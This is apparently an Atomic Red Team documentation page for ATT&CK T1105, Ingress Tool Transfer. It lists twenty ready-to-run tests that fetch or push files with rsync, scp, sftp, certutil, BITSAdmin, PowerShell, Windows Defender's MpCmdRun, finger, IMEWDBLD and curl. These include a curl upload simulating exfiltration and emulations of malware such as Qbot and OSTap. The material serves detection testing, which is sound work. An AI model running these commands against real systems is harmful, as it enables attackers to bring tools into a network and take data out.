CircleCI Atomic Red Team doc generator
23 KiB
T1105 - Ingress Tool Transfer
Description from ATT&CK
Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Atomic Tests
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Atomic Test #13 - Download a File with Windows Defender MpCmdRun.exe
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Atomic Test #20 - Download a file with Microsoft Connection Manager Auto-Download
Atomic Test #1 - rsync remote file copy (push)
Utilize rsync to perform a remote file copy (push)
Supported Platforms: Linux, macOS
auto_generated_guid: 0fc6e977-cb12-44f6-b263-2824ba917409
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| remote_path | Remote path to receive rsync | Path | /tmp/victim-files |
| remote_host | Remote host to copy toward | String | victim-host |
| local_path | Path of folder to copy | Path | /tmp/adversary-rsync/ |
| username | User account to authenticate on remote host | String | victim |
Attack Commands: Run with bash!
rsync -r #{local_path} #{username}@#{remote_host}:#{remote_path}
Atomic Test #2 - rsync remote file copy (pull)
Utilize rsync to perform a remote file copy (pull)
Supported Platforms: Linux, macOS
auto_generated_guid: 3180f7d5-52c0-4493-9ea0-e3431a84773f
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| remote_path | Path of folder to copy | Path | /tmp/adversary-rsync/ |
| remote_host | Remote host to copy from | String | adversary-host |
| local_path | Local path to receive rsync | Path | /tmp/victim-files |
| username | User account to authenticate on remote host | String | adversary |
Attack Commands: Run with bash!
rsync -r #{username}@#{remote_host}:#{remote_path} #{local_path}
Atomic Test #3 - scp remote file copy (push)
Utilize scp to perform a remote file copy (push)
Supported Platforms: Linux, macOS
auto_generated_guid: 83a49600-222b-4866-80a0-37736ad29344
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| remote_path | Remote path to receive scp | Path | /tmp/victim-files/ |
| local_file | Path of file to copy | Path | /tmp/adversary-scp |
| remote_host | Remote host to copy toward | String | victim-host |
| username | User account to authenticate on remote host | String | victim |
Attack Commands: Run with bash!
scp #{local_file} #{username}@#{remote_host}:#{remote_path}
Atomic Test #4 - scp remote file copy (pull)
Utilize scp to perform a remote file copy (pull)
Supported Platforms: Linux, macOS
auto_generated_guid: b9d22b9a-9778-4426-abf0-568ea64e9c33
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| remote_host | Remote host to copy from | String | adversary-host |
| local_path | Local path to receive scp | Path | /tmp/victim-files/ |
| remote_file | Path of file to copy | Path | /tmp/adversary-scp |
| username | User account to authenticate on remote host | String | adversary |
Attack Commands: Run with bash!
scp #{username}@#{remote_host}:#{remote_file} #{local_path}
Atomic Test #5 - sftp remote file copy (push)
Utilize sftp to perform a remote file copy (push)
Supported Platforms: Linux, macOS
auto_generated_guid: f564c297-7978-4aa9-b37a-d90477feea4e
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| remote_path | Remote path to receive sftp | Path | /tmp/victim-files/ |
| local_file | Path of file to copy | Path | /tmp/adversary-sftp |
| remote_host | Remote host to copy toward | String | victim-host |
| username | User account to authenticate on remote host | String | victim |
Attack Commands: Run with bash!
sftp #{username}@#{remote_host}:#{remote_path} <<< $'put #{local_file}'
Atomic Test #6 - sftp remote file copy (pull)
Utilize sftp to perform a remote file copy (pull)
Supported Platforms: Linux, macOS
auto_generated_guid: 0139dba1-f391-405e-a4f5-f3989f2c88ef
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| remote_host | Remote host to copy from | String | adversary-host |
| local_path | Local path to receive sftp | Path | /tmp/victim-files/ |
| remote_file | Path of file to copy | Path | /tmp/adversary-sftp |
| username | User account to authenticate on remote host | String | adversary |
Attack Commands: Run with bash!
sftp #{username}@#{remote_host}:#{remote_file} #{local_path}
Atomic Test #7 - certutil download (urlcache)
Use certutil -urlcache argument to download a file from the web. Note - /urlcache also works!
Supported Platforms: Windows
auto_generated_guid: dd3b61dd-7bbc-48cd-ab51-49ad1a776df0
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| remote_file | URL of file to copy | Url | https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt |
| local_path | Local path to place file | Path | Atomic-license.txt |
Attack Commands: Run with command_prompt!
cmd /c certutil -urlcache -split -f #{remote_file} #{local_path}
Cleanup Commands:
del #{local_path} >nul 2>&1
Atomic Test #8 - certutil download (verifyctl)
Use certutil -verifyctl argument to download a file from the web. Note - /verifyctl also works!
Supported Platforms: Windows
auto_generated_guid: ffd492e3-0455-4518-9fb1-46527c9f241b
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| remote_file | URL of file to copy | Url | https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt |
| local_path | Local path to place file | Path | Atomic-license.txt |
Attack Commands: Run with powershell!
$datePath = "certutil-$(Get-Date -format yyyy_MM_dd)"
New-Item -Path $datePath -ItemType Directory
Set-Location $datePath
certutil -verifyctl -split -f #{remote_file}
Get-ChildItem | Where-Object {$_.Name -notlike "*.txt"} | Foreach-Object { Move-Item $_.Name -Destination #{local_path} }
Cleanup Commands:
Remove-Item "certutil-$(Get-Date -format yyyy_MM_dd)" -Force -Recurse -ErrorAction Ignore
Atomic Test #9 - Windows - BITSAdmin BITS Download
This test uses BITSAdmin.exe to schedule a BITS job for the download of a file. This technique is used by Qbot malware to download payloads.
Supported Platforms: Windows
auto_generated_guid: a1921cd3-9a2d-47d5-a891-f1d0f2a7a31b
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| bits_job_name | Name of the created BITS job | String | qcxjb7 |
| local_path | Local path to place file | Path | %temp%\Atomic-license.txt |
| remote_file | URL of file to copy | Url | https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt |
Attack Commands: Run with command_prompt!
C:\Windows\System32\bitsadmin.exe /transfer #{bits_job_name} /Priority HIGH #{remote_file} #{local_path}
Atomic Test #10 - Windows - PowerShell Download
This test uses PowerShell to download a payload. This technique is used by multiple adversaries and malware families.
Supported Platforms: Windows
auto_generated_guid: 42dc4460-9aa6-45d3-b1a6-3955d34e1fe8
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| remote_file | URL of file to copy | Url | https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt |
| destination_path | Destination path to file | Path | $env:TEMP\Atomic-license.txt |
Attack Commands: Run with powershell!
(New-Object System.Net.WebClient).DownloadFile("#{remote_file}", "#{destination_path}")
Cleanup Commands:
Remove-Item #{destination_path} -Force -ErrorAction Ignore
Atomic Test #11 - OSTAP Worming Activity
OSTap copies itself in a specfic way to shares and secondary drives. This emulates the activity.
Supported Platforms: Windows
auto_generated_guid: 2ca61766-b456-4fcf-a35a-1233685e1cad
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| destination_path | Path to create remote file at. Default is local admin share. | String | \\localhost\C$ |
Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)
pushd #{destination_path}
echo var fileObject = WScript.createobject("Scripting.FileSystemObject");var newfile = fileObject.CreateTextFile("AtomicTestFileT1105.js", true);newfile.WriteLine("This is an atomic red team test file for T1105. It simulates how OSTap worms accross network shares and drives.");newfile.Close(); > AtomicTestT1105.js
CScript.exe AtomicTestT1105.js //E:JScript
del AtomicTestT1105.js /Q >nul 2>&1
del AtomicTestFileT1105.js /Q >nul 2>&1
popd
Atomic Test #12 - svchost writing a file to a UNC path
svchost.exe writing a non-Microsoft Office file to a file with a UNC path.
Upon successful execution, this will rename cmd.exe as svchost.exe and move it to c:\, then execute svchost.exe with output to a txt file.
Supported Platforms: Windows
auto_generated_guid: fa5a2759-41d7-4e13-a19c-e8f28a53566f
Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)
copy C:\Windows\System32\cmd.exe C:\svchost.exe
C:\svchost.exe /c echo T1105 > \\localhost\c$\T1105.txt
Cleanup Commands:
del C:\T1105.txt >nul 2>&1
del C:\\svchost.exe >nul 2>&1
Atomic Test #13 - Download a File with Windows Defender MpCmdRun.exe
Uses the Windows Defender to download a file from the internet (must have version 4.18.2007.8-0, 4.18.2007.9, or 4.18.2009.9 installed). The input arguments "remote_file" and "local_path" can be used to specify the download URL and the name of the output file. By default, the test downloads the Atomic Red Team license file to the temp directory.
More info and how to find your version can be found here https://lolbas-project.github.io/lolbas/Binaries/MpCmdRun/
Supported Platforms: Windows
auto_generated_guid: 815bef8b-bf91-4b67-be4c-abe4c2a94ccc
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| remote_file | URL of file to download | Url | https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt |
| local_path | Location to save downloaded file | Path | %temp%\Atomic-license.txt |
Attack Commands: Run with command_prompt!
cd "%ProgramData%\Microsoft\Windows Defender\platform\4.18*"
MpCmdRun.exe -DownloadFile -url #{remote_file} -path #{local_path}
Cleanup Commands:
del #{local_path} >nul 2>&1
del %temp%\MpCmdRun.log >nul 2>&1
Dependencies: Run with powershell!
Description: Must have one of these Windows Defender versions installed: 4.18.2007.8-0, 4.18.2007.9, or 4.18.2009.9
Check Prereq Commands:
$retVal = 1
foreach ($version in @("4.18.2007.8-0","4.18.2007.9","4.18.2009.9")){
if (Test-Path "$env:ProgramData\Microsoft\Windows Defender\Platform\$version") { $retVal = 0}
}
exit $retVal
Get Prereq Commands:
Write-Host "Windows Defender verion 4.18.2007.8-0, 4.18.2007.9, or 4.18.2009.9 must be installed manually"
Atomic Test #14 - whois file download
Download a remote file using the whois utility
Supported Platforms: Linux, macOS
auto_generated_guid: c99a829f-0bb8-4187-b2c6-d47d1df74cab
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| remote_host | Remote hostname or IP address | String | localhost |
| remote_port | Remote port to connect to | Integer | 8443 |
| output_file | Path of file to save output to | Path | /tmp/T1105.whois.out |
| query | Query to send to remote server | String | Hello from Atomic Red Team test T1105 |
| timeout | Timeout period before ending process (seconds) | Integer | 1 |
Attack Commands: Run with sh!
timeout --preserve-status #{timeout} whois -h #{remote_host} -p #{remote_port} "#{query}" > #{output_file}
Cleanup Commands:
rm -f #{output_file}
Dependencies: Run with sh!
Description: The whois and timeout commands must be present
Check Prereq Commands:
which whois && which timeout
Get Prereq Commands:
echo "Please install timeout and the whois package"
Atomic Test #15 - File Download via PowerShell
Use PowerShell to download and write an arbitrary file from the internet. Example is from the 2021 Threat Detection Report by Red Canary.
Supported Platforms: Windows
auto_generated_guid: 54a4daf1-71df-4383-9ba7-f1a295d8b6d2
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| target_remote_file | File to download | Url | https://raw.githubusercontent.com/redcanaryco/atomic-red-team/4042cb3433bce024e304500dcfe3c5590571573a/LICENSE.txt |
| output_file | File to write to | String | LICENSE.txt |
Attack Commands: Run with powershell!
(New-Object Net.WebClient).DownloadString('#{target_remote_file}') | Out-File #{output_file}; Invoke-Item #{output_file}
Atomic Test #16 - File download with finger.exe on Windows
Simulate a file download using finger.exe. Connect to localhost by default, use custom input argument to test finger connecting to an external server. Because this is being tested on the localhost, you should not be expecting a successful connection https://www.exploit-db.com/exploits/48815 https://www.bleepingcomputer.com/news/security/windows-10-finger-command-can-be-abused-to-download-or-steal-files/
Supported Platforms: Windows
auto_generated_guid: 5f507e45-8411-4f99-84e7-e38530c45d01
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| remote_host | Remote hostname or IP address | String | localhost |
Attack Commands: Run with command_prompt!
finger base64_filedata@#{remote_host}
Atomic Test #17 - Download a file with IMEWDBLD.exe
Use IMEWDBLD.exe (built-in to windows) to download a file. This will throw an error for an invalid dictionary file. Downloaded files can be found in "%LocalAppData%\Microsoft\Windows\INetCache<8_RANDOM_ALNUM_CHARS>/[1]." or `%LocalAppData%\Microsoft\Windows\INetCache\IE<8_RANDOM_ALNUM_CHARS>/[1].. Run "Get-ChildItem -Path C:\Users<USERNAME>\AppData\Local\Microsoft\Windows\INetCache\ -Include * -Recurse -Force -File -ErrorAction SilentlyContinue" without quotes and adding the correct username and file name to locate the file.
Supported Platforms: Windows
auto_generated_guid: 1a02df58-09af-4064-a765-0babe1a0d1e2
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| remote_url | Location of file to be downloaded. | url | https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1105/T1105.yaml |
| file_name | Name of the file to be downloaded without extension. | string | T1105 |
Attack Commands: Run with powershell!
$imewdbled = $env:SystemRoot + "\System32\IME\SHARED\IMEWDBLD.exe"
& $imewdbled #{remote_url}
Cleanup Commands:
$inetcache = $env:LOCALAPPDATA + "\Microsoft\Windows\INetCache\"
$file_to_be_removed = [string[]] (Get-ChildItem -Path $inetcache -Include #{file_name}* -Recurse -Force -File -ErrorAction SilentlyContinue)
if("" -ne "$file_to_be_removed") { Remove-Item "$file_to_be_removed" -ErrorAction Ignore }
Atomic Test #18 - Curl Download File
The following Atomic utilizes native curl.exe, or downloads it if not installed, to download a remote DLL and output to a number of directories to simulate malicious behavior. Expected output will include whether the file downloaded successfully or not.
Supported Platforms: Windows
auto_generated_guid: 2b080b99-0deb-4d51-af0f-833d37c4ca6a
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| file_download | File to download | String | https://github.com/redcanaryco/atomic-red-team/raw/058b5c2423c4a6e9e226f4e5ffa1a6fd9bb1a90e/atomics/T1218.010/bin/AllTheThingsx64.dll |
| curl_path | path to curl.exe | Path | C:\Windows\System32\Curl.exe |
Attack Commands: Run with command_prompt!
#{curl_path} -k #{file_download} -o c:\users\public\music\allthethingsx64.dll
#{curl_path} -k #{file_download} --output c:\users\public\music\allthethingsx64.dll
#{curl_path} -k #{file_download} -o c:\programdata\allthethingsx64.dll
#{curl_path} -k #{file_download} -o %Temp%\allthethingsx64.dll
Cleanup Commands:
del c:\users\public\music\allthethingsx64.dll >nul 2>&1
del c:\users\public\music\allthethingsx64.dll >nul 2>&1
del c:\programdata\allthethingsx64.dll >nul 2>&1
del %Temp%\allthethingsx64.dll >nul 2>&1
Dependencies: Run with powershell!
Description: Curl must be installed on system.
Check Prereq Commands:
if (Test-Path #{curl_path}) {exit 0} else {exit 1}
Get Prereq Commands:
Invoke-WebRequest "https://curl.se/windows/dl-7.79.1/curl-7.79.1-win64-mingw.zip" -Outfile $env:temp\curl.zip
Expand-Archive -Path $env:temp\curl.zip -DestinationPath $env:temp\curl
Copy-Item $env:temp\curl\curl-7.79.1-win64-mingw\bin\curl.exe C:\Windows\System32\Curl.exe
Remove-Item $env:temp\curl
Remove-Item $env:temp\curl.zip
Atomic Test #19 - Curl Upload File
The following Atomic utilizes native curl.exe, or downloads it if not installed, to upload a txt file to simulate data exfiltration Expected output will include whether the file uploaded successfully or not.
Supported Platforms: Windows
auto_generated_guid: 635c9a38-6cbf-47dc-8615-3810bc1167cf
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| curl_path | path to curl.exe | Path | C:\Windows\System32\Curl.exe |
| remote_destination | Remote destination | String | www.example.com |
| file_path | File to upload | String | c:\temp\atomictestfile.txt |
Attack Commands: Run with command_prompt!
#{curl_path} -T #{file_path} #{remote_destination}
#{curl_path} --upload-file #{file_path} #{remote_destination}
#{curl_path} -d #{file_path} #{remote_destination}
#{curl_path} --data #{file_path} #{remote_destination}
Dependencies: Run with powershell!
Description: Curl must be installed on system.
Check Prereq Commands:
if (Test-Path #{curl_path}) {exit 0} else {exit 1}
Get Prereq Commands:
Invoke-WebRequest “https://curl.se/windows/dl-7.79.1/curl-7.79.1-win64-mingw.zip” -Outfile $env:temp\curl.zip
Expand-Archive -Path $env:temp\curl.zip -DestinationPath $env:temp\curl
Copy-Item $env:temp\curl\curl-7.79.1-win64-mingw\bin\curl.exe C:\Windows\System32\Curl.exe
Remove-Item $env:temp\curl
Remove-Item $env:temp\curl.zip
Description: A file must be created to upload
Check Prereq Commands:
if (Test-Path #{file_path}) {exit 0} else {exit 1}
Get Prereq Commands:
echo "This is an Atomic Test File" > #{file_path}
Atomic Test #20 - Download a file with Microsoft Connection Manager Auto-Download
Uses the cmdl32 to download arbitrary file from the internet. The cmdl32 package is allowed to install the profile used to launch the VPN connection. However, the config is modified to download the arbitary file. The issue of cmdl32.exe detecting and deleting the payload by identifying it as not a VPN Servers profile is avoided by setting a temporary TMP folder and denying the delete permission to all files for the user. Upon successful execution the test will open calculator and Notepad executable for 10 seconds. reference: https://twitter.com/ElliotKillick/status/1455897435063074824 https://github.com/LOLBAS-Project/LOLBAS/pull/151 https://lolbas-project.github.io/lolbas/Binaries/Cmdl32/ https://strontic.github.io/xcyclopedia/library/cmdl32.exe-FA1D5B8802FFF4A85B6F52A52C871BBB.html
Supported Platforms: Windows
auto_generated_guid: d239772b-88e2-4a2e-8473-897503401bcc
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| Path_to_file | Path to the Batch script | Path | PathToAtomicsFolder\T1105\src\T1105.bat |
Attack Commands: Run with command_prompt!
#{Path_to_file} 1>NUL
Cleanup Commands:
del /f/s/q %temp%\T1105 >nul 2>&1
rmdir /s/q %temp%\T1105 >nul 2>&1